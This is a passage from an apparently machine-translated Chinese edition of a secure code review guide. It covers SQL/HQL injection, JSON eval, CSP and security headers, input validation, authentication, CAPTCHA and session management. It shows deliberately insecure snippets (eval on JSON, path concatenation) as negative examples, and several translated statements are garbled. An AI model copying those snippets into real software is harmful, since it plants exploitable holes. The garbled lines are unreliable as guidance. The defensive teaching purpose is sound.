Language);前者倾向于 SQL 注入,后者倾向于 HQL 注入。 复习 ⚫ 始终通过测试类型、长度、格式和范围来验证用户输入。 ⚫ 测试输入的大小和数据类型,并实施适当的限制。 ⚫ 测试字符串变量的内容,只接受期望值。拒绝包含二进制数据、转义序列和注释字符的 条目。 ⚫ 当您使用可扩展标记语言文档时,请在输入时根据其模式验证所有数据。 ⚫ 切勿直接从用户输入中构建 SQL 语句。 ⚫ 使用存储过程来验证用户输入,当不使用存储过程时,使用平台提供的应用编程接口。 即,参数化语句。 ⚫ 实施多层验证。 ⚫ 切勿连接未经验证的用户输入。字符串连接是脚本注入的主要入口点。 ⚫ 您应该审计所有调用 EXECUTE、EXEC 的代码,以及任何可以调用外部资源或命令行 的 SQL 调用。 77 OWASP 参考 ⚫ https://www . OWASP . org/index . PHP/SQL _ Injection _ Prevention _ Sketch _ Sheet OWASP SQL Injection Prevention Sketch Sheet ⚫ https://www . owasp . org/index . PHP/Query _ parametering _备忘单 OWASP 查 询参数化备忘单 ⚫ https://www.owasp.org/index.php/Command_Injection·命令注射篇 ⚫ https://www.owasp.org/index.php/XXE OWASP 可扩展标记语言外部实体(XXE)参 考文章 ⚫ https://www.owasp.org/index.php/ASVS·ASVS:输出编码/转义要求(V6) ⚫ https://www.OWASP.org/index.PHP/Testing_for_SQL_Injection_(OWASP-DV-00 5)OWASP 测试指南:关于 SQL 注入测试的章节 外部参考 ⚫ 命令注入的 http://cwe.mitre.org/data/definitions/77.html·CWE 77 号入口 ⚫ SQL 注入的 http://cwe.mitre.org/data/definitions/89.html·CWE 条目 89 ⚫ 关于 Hibernate 注射的 http://cwe.mitre.org/data/definitions/564.html·CWE 条目 564 ⚫ Livshits 和 Lam,2005 年“通过静态分析发现 Java 应用程序中的安全漏洞”,见 78 https://www.usenix.org/legacy/event/sec05/tech/full_papers/livshits/livshits_h tml/#sec:sqlinjexample ⚫ http://www.php.net/manual/en/book.pdo.php·PDO ⚫ https://TechNet . Microsoft . com/en-us/library/ms 161953(v = SQL . 105)。 3.1.3 JSON (JavaScript 对象符号) JSON 是一种开放的标准格式,使用易于阅读的文本在服务器和网络应用程序之间传输 数据。JSON 数据可以被大量的编程语言使用,并且正在成为替代 XML 的标准。 JSON 的主要安全问题是动态嵌入在 JavaScript 中的 JSON 文本,因为这种注入是一 个经常出现的漏洞。程序中的漏洞可能会无意中运行恶意脚本或将恶意脚本存储到数据库中。 在处理从互联网上检索的数据时,这是一种非常有可能出现的场景。 代码审计者需要确保 JSON 没有用Javascript eval处理,而是用JSON.parse(…)处理。 Var parsed_object = eval(“(“ + Jason_text + “)”); // Red flag for the code reviewer. JSON.parse(text[, reviver]); .. // Much better then using javascript eval function 审计人员应该审计确保开发人员没有使用文本/字符串中使用已知的不安全模式,例如, 使用正则表达或者其它错误的处理,这样让测试非常困难。需要输入以白名单方式的字符或 者经过仔细验证的数字。 不允许 JSON 数据构造动态 HTML。总是我们安全的 DOM 功能,如 innerText or 79 CreateTextNode(…)[下面部分重复了,已经更新到了上面] 对象/关系映射 对象/关系映射(ORM)通过 HQL (Hibernate 查询语言)或.NET 实体框架实现。 一个非常常见的误解是,像 hibernate 这样的 ORM 解决方案是 SQL 注入的解决方法。 不是的,ORM 允许使用“原生 SQL”。通过专有的查询语言,HQL 倾向于 SQL 注入,后 者倾向于 HQL(或 ORM)注入。Linq 不是 SQL,因此不容易出现 SQL 注入。然而,通过 linq 使用 excutequery 或 excutecommand 会导致程序不使用 linq 的保护机制,导致出现 SQL 注入。 此部分重复。 代码审计者操作 代码审计者需要确保 HQL 查询中使用的任何数据都使用 HQL 参数化查询,以便将其 用作数据而不是代码。他们还可以使用 https://docs.jboss.org/hibernate/的标准应用编 程接口 3.1.4 内容安全策略 CSP 是 W3C 规范,提供了指示客户端浏览器允许从哪个位置和哪种类型的资源加载的 要求。为了定义加载行为,CSP 规范使用“指令”,其中指令为目标资源类型定义加载行 为。CSP 有助于检测和减轻某些类型的攻击,包括跨站点脚本(XSS)和数据注入攻击。这些 攻击被用于数据盗窃,网站篡改或恶意软件传播等攻击。 指令可以使用超文本传输协议响应头(服务器可以用给定的资源表示发送一个以上的超 文本传输协议报头字段,服务器可以用相同资源或不同资源的不同表示发送不同的超文本传 80 输协议报头字段值)或超文本传输协议元标记来指定,下面的超文本传输协议报头由规范定 义: ⚫ Content-Security-Policy:由 W3C 规范定义为标准头,由 Chrome 版本 25 和更高版 本、Firefox 版本 23 和更高版本、Opera 版本 19 和更高版本使用。 ⚫ X-Content-Security-Policy:在版本 23 之前由 Firefox 使用,在版本 10(部分实施内容 安全策略)之前由互联网浏览器使用。 ⚫ X-WebKit-CSP:版本 25 之前的 Chrome 支持 风险 CSP 的风险有两个主要来源: ⚫ 政策配置不当, ⚫ 过于宽松的政策。 审计什么 代码审计人员需要了解应用程序设计需要什么内容安全策略,以及如何测试这些策略以 确保它们被应用程序使用。 有用的安全相关的 HTTP 头 81 在大多数架构中,这些头可以在 web 服务器配置中设置,而无需更改实际应用程序的 代码。这为至少缓解现有问题提供了更快、更简单的方法,也可以为新应用提供了额外的防 御。 http 安全头部属性汇总表 Header 名称 描述 示例 Strict-Transport-Sec urity [https://tools.ietf.or g/html/rfc6797] HTTP 严格传输安全性(HSTS)强制 与服务器建立安全的连接(基于 SSL / TLS 的 HTTP)。 这样可以减少 Web 应用程序 中的错误通过 cookie 和外部链接泄漏会话 数据的影响,并防御中间人攻击。HSTS 还 禁用了用户忽略 SSL.协商警告的功能。 Strict-Tr ansport-Sec urity:max-ge =16070400; includeS ubDomains X-Frame-Options [https://tools.ietf.or g/ html/draft-ietf-webs ec-xframe-options-01] Frame-Options [https://tools.ietf.or 提供 Clickjacking 保护。 值和含义: deny-在帧内不进行渲染, sameorigin 如果原点不匹配则不进行 渲染, allow-from : DOMAIN- 如 果 按 从 DOMAIN 加载的帧进行帧化,则允许进行 渲染 X-Frame -Options: deny 82 g/html/draft-ietf-webse cframe-options-00] X-XSS-Protection [http://blogs.msdn.c om/b/ie/archive/2008/0 7/02/ie8-security-part-iv -thexss-filter.aspx X-XSS-Protection] 此标头启用了内置在最新 Web 浏览器 中的跨站点脚本(XSS)筛选器。 无论如 何,通常默认情况下都会启用该过滤器,因 此,如果用户禁用了此属性,则此标头的作 用是重新启用该过滤器。 IE 8+和 Chrome (不知道哪个版本)均支持此标头。 在 Chrome 4 中添加了反 XSS 过滤器。 X-XSS-P rotection: 1;mode=blo ck X-Content-Type-Op tions [https://blogs.msdn. microsoft.com/ie/2008/ 09/02/ie8-security-part- vi-beta-2-update/] 唯一可取的值“ nosniff”,可防止 Internet Explorer 和 Google Chrome 浏 览器进行 MIME 嗅探已声明内容类型的响 应。这也适用于 Google Chrome 浏览器, 下载扩展程序使用。 这样可以减少遭受偷 渡式下载攻击和为用户上传的内容提供服 务的站点的风险,这些站点通过巧妙的命名 可 以 被 MSIE 视 为 可执 行 文 件 或 动 态 HTML 文件。 X-Conte nt-Type-Opt ions:nosniff Content-Security-Po licy, X-Content-Security- 内容安全策略需要仔细调整和精确定 义策略。 如果启用,CSP 将对浏览器呈现 页面的方式产生重大影响(例如,默认情况 Content -Security-Po licy:default-s 83 policy,X-WebKit-CSP [https://www.w3.org /TR/ CSP/] 下禁用内联 JavaScript,并且必须在策略中 明确允许)。 CSP 可防止各种攻击,包括 跨站点脚本和其他跨站点注入。 rc ‘self’ Content-Security-Po licy-Report_Only [https://www.w3.org /TR/CSP/CSP/] 类似于 Content-Security-Policy,不 过仅仅是报告。 在实施,调整和测试过程 中很有用。 Content -Security-Po licy-Report- Only: default-src ‘ self ’ ; report-uri http://logho st.example.c om/reports.j sp 请 注 意 , Spring Security 库 可 以 帮 助 处 理 这 些 标 题 , 请 参 见 http://docs.spring.io/spring-security/site/docs/current/reference/html/headers.ht ml 84 参考 Apache:http://httpd.apache.org/docs/2.0/mod/mod_headers.html IIS:http://TechNet . Microsoft . com/pl-pl/library/cc 753133(v = ws . 10)。 3.1.5 输入验证 输入验证是应用程序安全性最有效的技术控制之一。它可以减轻许多漏洞,包括跨站点 脚本、各种形式的注入和一些缓冲区溢出。输入验证不仅仅是审计表单字段值。 来自用户的所有数据都是是不可的。请记住,安全编码的首要规则之一是“不要相信用 户输入”。始终保持在充分了解您的应用程序想要实现的目标的情况下验证用户数据。 正则表达式可以用来验证用户输入,但是正则表达式越复杂,它就越有可能无法被完全 的证明,并且在极端情况下会有错误。正则表达式对于质量保证来说也很难测试。正则表达 式也可能使代码审计者很难准确地审计正则表达式。 数据有效性 系统(以及系统/应用程序之间)的所有外部输入都应经过输入验证。验证规则由应用程 序的业务需求定义。如果可能,应该实现完全匹配的 validator,只允许符合期望值的数据。 一种“已知良好”的方法(白名单)很常见,这种方法可移植性差,但更灵活。适用于已知允 许白名单中定义的字符/ASCII 范围。 85 这样的范围是由输入字段的业务需求定义的。数据验证的其他方法都是“已知不安全的”, 是类似“不良字符”的黑名单形式。这种形式无法解决根本问题,且需要维护。 业务验证 业务验证与业务逻辑有关。在审计执行这种逻辑的代码之前,需要理解业务逻辑。业务 验证可以用来限制用户输入的值范围或交易。审计业务验证代码还可能包括舍入误差或浮点 问题,这些问题可能会导致整数溢出等问题,从而严重损害安全基线。 标准化 规范化是一个过程,通过这个过程,一个名字的各种等价形式可以被解析为一个标准的 名字,或“规范的”名字。最流行的编码是 UTF-8、UTF-16 等等(在 RFC 2279 中有详细 描述)。单个字符,如句点/句号(可以用许多不同的方式来表示:ASCII 2E、Unicode C0 AE 和许多其他方式。 有了无数种编码用户输入的方式,如果没有仔细构建,web 应用程序的过滤器很容易 被绕过。 反面示例: 1 public static void main(String[] args) { 2 File x = new File(“/cmd/” + args[1]); 3 String absPath = x.getAbsolutePath(); 4 } 86 1 public static void main(String[] args) throws IOException { 2 File x = new File(“/cmd/” + args[1]); 3 String canonicalPath = x.getCanonicalPath(); 1 var isValidUri = Uri.IsWellFormedUriString(passedUri, UriKind.Absolute); 1 var uriToVerify = new Uri(passedUri); 2 var isValidUri = uriToVerify.IsWellFormedOriginalString(); 3 var isValidScheme = uriToVerify.Scheme == “http” || uriToVerify.Scheme == “https”; 正面示例: .NET 请求验证 一种解决方法是使用.Net“请求验证”。使用请求验证是验证用户数据的良好开端,非 常有效。缺点是过于一般化,不够具体,无法满足我们提供用户数据完全信任的所有要求。 您永远不能使用请求验证来保护您的应用程序免受跨站点脚本攻击。 下面的示例演示如何在 URL 类中使用静态方法来确定用户提供的 URL 是否有效。 87 但是,为了充分验证 URL,您还应该审计以确保它指定了 http 或 https。下面的示例 使用实例方法来验证 URL 是否有效。 在将用户输入呈现为超文本标记语言或在查询中包含用户输入之前,请对这些值进行编 码,以确保不包含非法代码。 您可以使用< %: % >语法对标记中的值进行 HTML 编码,如下所示。 <span><%: userInput %></span> 或者,在 Razor 语法中,可以用@进行 HTML 编码,如下图所示。 <span>@userInput</span> 下一个例子展示了如何在代码隐藏中对一个值进行 HTML 编码。 var encodedInput = Server.HtmlEncode(userInput); 托管代码和非托管代码 Java 和.Net 有托管和非托管代码的概念。为了在调用本机代码时提供这些保护,不要 将本机方法声明为公共的。相反,将其声明为私有,并通过公共包装方法公开功能。包装器 可以在调用本机方法之前执行任何必要的输入验证。 调用带有数据验证的本机方法的示例代码: 88 代码审计者的数据验证清单。 ⚫ 确保存在数据验证机制。 ⚫ 确保所有可能(并将)被恶意用户修改的输入(如 HTTP 头、输入字段、隐藏字段、下拉 列表和其他网络组件)都得到正确验证。 ⚫ 确保对所有输入进行适当的长度审计。 ⚫ 确保所有字段、cookies、http 头/正文和表单字段都经过验证。 ⚫ 确保数据格式良好,并尽可能只包含已知的安全字符。 ⚫ 确保数据验证发生在服务器端。 ⚫ 审计数据验证在哪里进行,以及是否使用了集中式模型或分散式模型。 1 public final class NativeMethodWrapper { 2 private native void nativeOperation(byte[] data, int offset, int len); 3 public void doOperation(byte[] data, int offset, int len) { 4 // copy mutable input 5 data = data.clone(); 6 // validate input 7 // Note offset+len would be subject to integer overflow. 8 // For instance if offset = 1 and len = Integer.MAX_VALUE, 9 // then offset+len == Integer.MIN_VALUE which is lower 10 // than data.length. 11 // Further, 12 // loops of the form 13 // for (int i=offset; i<offset+len; ++i) { ... } 14 // would not throw an exception or cause native code to 15 // crash. 16 if (offset < 0 || len < 0 || offset > data.length - len) { 17 throw new IllegalArgumentException(); 18 } 19 nativeOperation(data, offset, len); 20 } 21 } 89 ⚫ 确保数据验证模型中没有后门。 ⚫ “黄金法则”:所有外部输入,无论是什么,都将经过检验和验证。 资源: http://msdn.microsoft.com/en-us/library/vstudio/system.uri 3.2 A2 身份验证和会话管理中断 3.2.1 概述 Web 应用程序和 Web 服务都使用身份验证作为通过用户 id 和密码登录的主要访问控 制手段。这种控制对于防止黑客或用户越权访问机密文件、数据或网页的行为至关重要。 3.2.2 身份验证的作用 身份验证很重要,因为它是您希望保护的功能的网关。一旦用户通过身份验证,他们的 请求将被授权与您的应用程序进行某种级别的交互,未经身份验证的用户将被禁止这样做。 您无法控制用户如何管理他们的身份验证信息或令牌,但您可以确保现在有办法在不进行正 确身份验证的情况下无法执行某些应用程序功能。 有许多形式的身份验证,密码是最常见的。其他形式包括客户端证书、生物识别技术、 通过短信或特殊设备的一次性密码,或开放授权(OAUTH)或单点登录(SSO)等认证框架。 通常,当用户登录到网站时,身份验证会完成一次,成功的身份验证会为用户建立一个 网络会话(请参见会话管理)。如果用户试图执行高风险功能,则可以随后请求进一步(和更强 90 的)认证,例如,可以要求银行用户在允许转账之前输入发送到他们的注册电话号码的 6 位 数字。 认证在公司防火墙内和防火墙外一样重要。攻击者不应该仅仅因为找到了穿过防火墙的 方法,就能够在公司内部应用程序上自由运行。此外,权限(或职责)分离意味着在帐户中工 作的人不能修改存储库中的代码,或者应用程序经理不能编辑工资单电子表格。 3.2.3 审计什么 查看执行身份验证功能的代码模块时,需要注意一些常见问题包括: ⚫ 确保登录页面仅在顶级域名系统上可用。有些网站离开登录页面有 HTTP,但使表单提 交网址 HTTPS,以便用户的用户名和密码被加密发送到服务器。然而,如果登录页面 不安全,中间人就有可能将表单提交网址修改为超文本传输协议网址,当用户输入用户 名和密码时,它们就会被明文发送到服务器。 ⚫ 确保您的用户名/用户标识不区分大小写。许多网站使用电子邮件地址作为用户名,并 且电子邮件地址不区分大小写。无论如何,用户‘Smith’和用户‘smith’是不同的 用户是非常奇怪的,可能会导致严重的混乱。 ⚫ 确保无效用户名或密码的失败消息不会泄露信息。如果错误消息表明用户名有效,但密 码错误,那么攻击者将知道用户名存在。如果密码是错误的,不要指出它是如何错误的。 ⚫ 确保用户输入的每个字符都包含在密码中。 ⚫ 不要记录无效密码。很多时候,电子邮件地址被用作用户名,这些用户会记住一些密码, 但可能会忘记他们在您的网站上使用了哪个密码。第一次他们可能使用的密码对你的站 点无效,但对该用户(由用户名标识)的许多其他站点有效。如果您记录了用户名和密码 91 组合,并且该日志泄漏了,您站点上的这种低级别的错误可能会对许多其他站点产生负 面影响。 ⚫ 较长的密码提供了更多的字符组合,因此攻击者更难猜测。密码的最小长度应由应用程 序强制执行。短于 10 个字符的密码被认为是弱密码。应该鼓励使用密码。有关密码长 度的更多信息,请参见 OWASP 认证备忘单。 ⚫ 为防止暴力攻击,请实施临时帐户锁定或限速登录响应。如果用户 5 次未能提供正确 的用户名和密码,则锁定帐户 X 分钟,或者实施登录响应需要额外 10 秒钟的逻辑。不 过要小心,这可能会泄露用户名对不断尝试随机用户名的攻击者有效的事实,所以作为 一个额外的措施,考虑为无效用户名实现相同的逻辑。 ⚫ 对于内部系统,考虑强制用户在一段时间后更改密码,并存储历史的密码(例如,哈希), 以确保用户不会简单地重复使用他们的旧密码。 ⚫ 应通过让用户选择包含各种类型字符的密码字符串(例如,大写和小写字母、数字、标 点符号等。理想情况下,当用户键入新密码时,应用程序会向用户指示他们的新密码符 合多少复杂性策略。有关密码复杂性的更多信息,请参见 OWASP 身份验证备忘单。 ⚫ 应用程序通常有一种机制,在用户忘记密码的情况下,该机制为用户提供了访问其帐户 的途径。这是未经身份验证的用户调用的网站功能示例(因为他们没有提供密码)。确保 此类界面不会被滥用,如果要求密码提醒导致向注册用户发送电子邮件或短信,则不要 让密码重置功能被攻击者用来通过不断在此表单中输入用户名向用户发送垃圾邮件。有 关此功能的详细信息,请参见忘记密码备忘单。 ⚫ 应用程序使用正确的加密技术存储密码至关重要。有关此功能的详细信息,请参见密码 存储备忘单。 92 审计 MVC 的时候.NET 对于确保应用程序通过安全链路传输和接收很重要。建议让所 有网页而不仅仅是登录页面使用 SSL。 我们需要保护会话 cookies,它作为用户凭证很有用。 在 global.asax 文 件 中 , 我 们 可 以 查 看 RegisterGlobalFilters 方 法 。 属 性 RequireHttpsAttribute()可用于确保应用程序通过 SSL/TLS 运行,建议为 SSL/TLS 站点启 用此功能。 对于高风险职能,例如,银行交易、用户档案更新等,就利用多因素身份验证。这也减 轻了 CSRF 和会话劫持攻击。MFA 使用多个身份验证因素来登录或处理事务: ⚫ 你知道的东西(账户详情或密码) ⚫ 你有的东西(代币或手机) ⚫ 你是什么(生物测定学) 如果客户端机器处于受控环境中,请使用 SSL 客户端身份验证,也称为双向身份验证 SSL 认证,包括浏览器和服务器在 TLS 握手过程中发送各自的 SSL 证书。这提供了更 强的身份验证,因为服务器管理员可以创建和颁发客户端证书,允许服务器只信任来自安装 了此客户端 SSL 证书的计算机的登录请求。客户端证书的安全传输很重要。 参考 1 public static void RegisterGlobalFilters(GlobalFilterCollection filters) { 2 “ flters.Add(new RequireHttpsAttribute()); “ 3 } 93 • https://www.owasp.org/index.php/Authentication_Cheat_Sheet • http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf •http://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual -SSL-Authentication • https://cwe.mitre.org/data/definitions/287.html Improper Authentication • OWASP ASVS requirements areas for Authentication (V2) 3.2.4 忘记密码 概述 如果您的网站需要用户身份验证,那么很可能需要用户名和密码来验证用户访问。然而, 随着计算机系统的复杂性增加,用户认证也增加了。因此,代码审计者需要了解本节中称为 “直接身份验证”模式的用户身份验证的优点和缺点。本节将强调当用户忘记用户 id 和/ 或密码时的设计模式,以及代码审计人员在审计用户忘记时如何检索用户 id 和密码以及以 安全的方式进行检索时需要考虑的事项。 总则 通过(电话短信、电子邮件)通知用户,这样用户必须点击电子邮件中的链接,将他们带 到您的站点,并要求用户输入新密码。 在允许用户更改密码之前,要求用户输入他们已经拥有的登录凭据(脸书、推特、谷歌、 微软直播、OpenID 等)来验证用户。向用户发送会议注册或忘记密码使用的通知。 94 发送注册电子邮件的帐户信息已更改的通知。设置适当的超时值。即,如果用户在 48 小时内没有回复电子邮件,那么用户将被冻结在系统之外,直到用户再次确认密码更改。 ⚫ 身份和共享秘密/密码必须使用加密进行传输,以提供数据保密性。 ⚫ 共享秘密永远不能以明文格式存储,即使只是在短时间存储在消息队列中。 ⚫ 共享秘密必须始终以散列或加密格式存储在数据库中。 ⚫ 存储加密共享机密的组织不需要查看或解密用户密码的能力,用户密码不得发送回用户。 ⚫ 如果客户端必须缓存用户名和密码,以便在以后调用网络服务时显示,则需要一个安全 的缓存机制来保护用户名和密码。 ⚫ 向用户报告无效条目时,用户名和/或密码不应被识别为无效。用户反馈/错误消息必须 将用户名和密码视为一项“用户凭据”。即,"您输入的用户名或密码不正确。 3.2.5 验证码 概述 验证码(缩写为“完全自动化的公共图灵测试来区分计算机和人类”),是一种访问控制 技术。 验证码用于防止自动软件访问 Gmail、Hotmail 和 Yahoo 等网络邮件服务,以创建垃 圾邮件、博客、论坛和维基上的自动帖子,用于促销(商业和/或政治)或骚扰、破坏和自动 创建帐户。 验证码被证明是有用的,它们的使用在法庭上得到支持。规避验证码被美国法院认定为 违反数字千年版权法反规避第 1201(a)(3)节和欧洲指令 2001/29/EC。 95 总则 验证码的审核审核人员需要注意以下规则,以确保验证码是用强大的安全原则构建的: ⚫ 不允许用户在不正确的尝试后输入多次猜测。 ⚫ 软件设计师和代码审计需要理解猜测的静态性。即,一个验证码设计展示了四张(三只 猫和一只船)图片,要求用户选择与其他图片不同的图片。自动化软件总是挑第一张图 片,成功率会有 25%。其次,根据固定的验证码图片池,攻击者可以创建一个正确答 案的数据库,然后获得 100%的访问权限。 ⚫ 考虑使用传递给服务器的密钥,该密钥使用 HMAC(基于哈希的消息认证码)作为答案。 基于文本的验证码应遵循以下安全设计原则: ⚫ 验证码长度随机化:不要使用固定长度,它给攻击者提供了太多的信息。 ⚫ 随机化字符大小:确保攻击者不能通过使用几种字体大小/几种字体进行有根据的猜测。 ⚫ 增加验证码随机性:增加随机性会增加攻击者的难度。 ⚫ 不要使用复杂的字符集:使用大字符集并不能显著提高验证码方案的安全性,并可能影 响正常用户的准确性。 ⚫ 使用反识别技术作为加强验证码安全性的手段:旋转、缩放和旋转一些字符并使用各种 字体大小将降低识别效率,并通过降低字符宽度的可预测性来提高安全性。 ⚫ 将行保持在验证码内:行必须只跨越验证码的一些字母,这样就无法区分它是一行还是 96 一个字符段。 ⚫ 使用大线条:使用没有字符段宽的线条会给攻击者一个健壮的鉴别器,并使线条反分割 技术容易受到许多攻击技术的攻击。 ⚫ 验证码确实会给必须符合美国残疾人法案(1990)的网站带来问题。代码审计者可能需要 了解网站的可访问性和安全性,以审计验证码的实施,法律要求网站是 ADA 投诉。 参考 ⚫ 美利坚合众国诉肯尼斯·洛森、克里斯托夫·基尔希、LOEL·史蒂文森联邦起诉书。2010 年 2 月 23 日。检索日期:2012-01-02。 ⚫ http://www.google.com/recaptcha/captcha ⚫ http://www.ada.gov/anprm2010/web%20anprm_2010.htm ⚫ 验 证 码 的 不 可 访 问 性 — — 网 络 上 可 视 图 灵 测 试 的 替 代 方 案 http://www.w3.org/TR/turingtest/ 3.2.6 带外通信 概述 当一个网络应用程序通过一个独立于通过用户的网络浏览器 HTTP 请求/响应的通道与 终端用户通信时,通常使用术语“带外”。常见的例子包括短信、电话、电子邮件和普通邮 件。 97 描述 应用程序希望通过这些独立的通道与最终用户通信的主要原因是为了安全。用户名和密 码的组合足以进行身份验证,允许用户浏览和使用网站的非敏感部分,但是更敏感(或有风 险)的功能可能需要更强形式的身份验证。用户名和密码可能是通过受感染的计算机、社交 工程、数据库泄漏或其他攻击窃取的,这意味着网络应用程序不能过于信任网络会话,除非 是有效的用户名和密码组合实际上是预期的用户。 敏感操作的例子包括: ⚫ 更改密码 ⚫ 更改帐户详细信息,如电子邮件地址、家庭地址等 ⚫ 通过银行应用程序转移资金 ⚫ 提交、修改或取消订单 在这种情况下,许多应用程序会通过浏览会话以外的渠道与您通信。当您更改帐户信息 或购买商品时,许多大型网上商店会向您发送确认电子邮件。这在攻击者拥有用户名和密码 的情况下提供保护,如果他们购买了东西,合法用户将收到一封电子邮件,并有机会取消订 单或提醒网站他们没有修改帐户。 当使用带外技术进行身份验证时,称为双因素身份验证。这里有三种身份验证方式: ⚫ 你知道的事情(例如,密码、密码短语、记忆密码) ⚫ 你有的东西(例如,手机、现金卡、RSA 令牌) 98 ⚫ 你是什么(例如,虹膜扫描,指纹) 如果一个银行网站允许用户在网上发起交易,它可以使用双重认证: 1)用于登录的密码。 2)通过短信向用户注册的电话发送个人识别码,然后要求用户在完成交易之前输入个人 识别码。 这需要用户知道(密码)和拥有(电话接收个人识别码)。 “芯片和个人识别码”银行卡将使用双因素身份验证,要求用户随身携带卡(他们有的 东西),并在购买时输入个人识别码(他们知道的东西)。“芯片和个人识别码”卡不在个人识 别码内使用,同样,如果您没有卡,知道个人识别码也没有用。 审计什么 当回顾执行带外功能的代码模块时,需要注意一些常见问题 包括: ⚫ 认识到系统被滥用的风险。攻击者想从你的站点向某人发送大量的短信,或者向随机的 人发送电子邮件。确保: ⚫ 如果可能,只有经过身份验证的用户才能访问导致带外功能被调用的链接(忘记密码是 个例外)。 ⚫ 对界面进行速率限制,因此拥有“肉机”或者僵尸账号的攻击者不能使用它向用户发送 99 带外消息。 ⚫ 不允许该功能接受用户输入的地址,只使用注册的电话号码、电子邮件、地址。 ⚫ 对于高风险站点(例如,银行)用户的电话号码可以线下注册,而不是通过网站注册。 ⚫ 不要在带外通信中发送任何个人或身份验证信息。 ⚫ 确保通过带外信道发送的任何 PIN 或密码都具有较短的寿命,并且是随机的。 ⚫ 需要考虑的一点是防止短信发送到当前正在进行浏览会话的设备上(即,用户在他们的 手机上浏览,短信被发送到该手机)。然而,这可能很难执行。如果可能的话,让用户 选择他们想要使用的波段。对于银行网站,移动设备上的 Zitmo 恶意软件(请参阅参 考资料)可以拦截 SMS 消息,但是 iOS 设备尚未受到此恶意软件的影响,因此用户可 以选择将 SMS PIN 发送到其 Apple 设备,而在 Android 上,他们可以使用录制的语 音留言接收 PIN。 ⚫ 在典型的部署中,与 Web 应用程序分离的专用硬件/软件将处理带外通信,包括创建 临时 PIN 和可能的密码。 在这种情况下,无需将 PIN /密码暴露给您的 Web 应用程 序(增加暴露的风险),而是 Web 应用程序应使用最终用户提供的 PIN /密码来查询 专用的硬件/软件,并获得是与否的判断结果。 ⚫ 包括银行业在内的许多部门都制定了法规,要求对某些类型的交易使用双因素身份验证。 在其他情况下,双因素身份验证可以提高欺诈的成本,并增强客户对网站的信任。 参考 ⚫ https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet ⚫ http://secure ist . com/blog/virus-watch/57860/new-zitmo-for-Andr 100 oid-and-blackberry/ 3.2.7 会话管理 概述 网络会话是与同一用户相关联的一系列网络 HTTP 请求和响应事务。web 应用程序需 要对会话状态进行管理,因为这些应用程序需要在多个请求期间保留每个用户的信息或状态。 因此,会话提供了建立变量(如,访问权限和本地化设置)的能力,这些变量将应用于会话期 间用户与网络应用程序的每次交互。 描述 代码审计者需要了解开发人员使用了什么会话技术,以及如何发现可能造成潜在安全风 险的漏洞。Web 应用程序可以在第一次用户请求后创建会话来跟踪匿名用户。一个典型的 功能例子是维护用户的语言偏好。此外,一旦用户通过身份验证,web 应用程序将建立会 话。这确保了在任何后续请求中识别用户的能力,以及能够应用安全访问控制、对用户私有 数据的授权访问,并提高应用程序的可用性。因此,当前的网络应用程序可以提供认证前和 认证后的会话能力。 会话标识或令牌将用户身份验证凭据(以用户会话的形式)绑定到用户的 HTTP 流量和网 络应用程序实施的适当访问控制上。现代 web 应用程序中这三个组件(身份验证、会话管理 和访问控制)的复杂性,加上其实现和绑定掌握在 web 开发人员手中(因为 web 开发框架不 提供这些模块之间的严格关系),使得安全会话管理模块的实现非常具有挑战性。 101 会话标识的泄露、捕获、预测、暴力或固定将导致会话劫持(或侧劫持)攻击,攻击者能 够在网络应用程序中完全模拟受害用户。攻击者可以执行两种类型的会话劫持攻击,目标攻 击和一般攻击。在有针对性的攻击中,攻击者的目标是冒充特定(或特权)的 web 应用程序 受害用户。对于一般的攻击,攻击者的目标是在 web 应用程序中模拟(或获得访问权限)任 何有效或合法的用户。 为了实现安全会话标识,标识符(标识或令牌)的生成必须满足 以下属性: ⚫ 会话标识使用的名称不应过于描述性,也不应提供不必要的关于标识目的和含义的细节。 ⚫ 建议将 web 开发框架的默认会话 id 名称更改为通用名称,如“ID”。 ⚫ 会话标识长度必须至少为 128 位(16 字节)(会话标识值必须提供至少 64 位的熵)。 ⚫ 会话标识内容(或值)必须是无意义的,以防止信息泄露攻击,攻击者能够解码标识内容 并提取用户、会话或网络应用程序内部工作的详细信息。 ⚫ 建议通过使用加密哈希函数(如 SHA2 (256 位))来创建加密性强的会话标识。 审计什么 当您的应用程序包含身份验证时,需要 cookie。代码审计者需要了解应用程序 cookies 中存储了什么信息。如果敏感信息存储在需要 SSL 的 cookie 中,则需要进行风险评估。 . NET ASPX 配置 102 Java web.xml PHP.初始化设置文件的后缀名 样本: PHP php.ini 会话到期 在审计会话处理代码时,审计者需要了解 web 应用程序需要什么样的到期设置,或者 1 <authentication mode=”Forms”> 2 <forms loginUrl=”member_login.aspx” 3 cookieless=”UseCookies” 4 requireSSL=”true” void session_set_cookie_params ( int $lifetime [, string $path [, string $domain [, bool $secure = true [, bool $httponly = true ]]]] ) 1 <session-config> 2 <cookie-config> 3 <secure>true</secure> 4 </cookie-config> 5 </session-config> 103 是否使用了默认会话超时。网络会话过期时间设置不当的话,应用程序就会增加其他基于会 话的攻击的风险,因为攻击者能够重用有效的会话标识并劫持关联的会话的前提是,它必须 仍然是有效的。 请记住,为了安全编码,我们的目标之一是减少应用程序的攻击面。 .NET ASPX 开发人员 ASPX 可以更改会话的默认超时。web.config 文件中的这段代码设置了 超时会话为 15 分钟。aspx 会话的默认超时是 30 分钟。 JAVA PHP 没有会话超时机制。PHP 开发人员将需要创建他们自己的自定义会话超时。 会话注销/结束 Web 应用程序应该提供一种机制,允许具有安全意识的用户在使用完 web 应用程序后 1 <system.web> 2 <sessionState mode=”InProc” cookieless=”true” timeout=”15” /> 1 <session-config> 2 <session-timeout>1</session-timeout> 3 </session-config> 104 主动关闭他们的会话。 .NET ASPX Session.Abandon()销毁存储在会话对象中的所有对象,并释放它们的资 源。如果不显式调用放弃方法,服务器会在会话超时时销毁这些对象。当用户注销时,您应 该使用它。Session.Clear()从进程中删除所有键和值。不更改会话标识。如果不希望用户重 新登录并重置所有会话特定数据,请使用此命令。 会话攻击 通常有三种类型的会话攻击: ⚫ 会话劫持:窃取某人的会话标识,并使用它来冒充该用户。 ⚫ 会话固定:将某人的会话标识设置为预定义值,并使用该已知值模拟他们 ⚫ 会话提升:当会话的权限改变,但其标识没有改变时。 会话劫持 ⚫ 大部分是通过 XSS 攻击完成的,可以通过设置会话属性为 http-only 字段来防止(在 Javascript 代码不需要访问它们的时候)。 ⚫ 对于 Javascript 来说,不需要访问会话 cookies 通常是一个好做法,因为防止所有类 型的 XSS 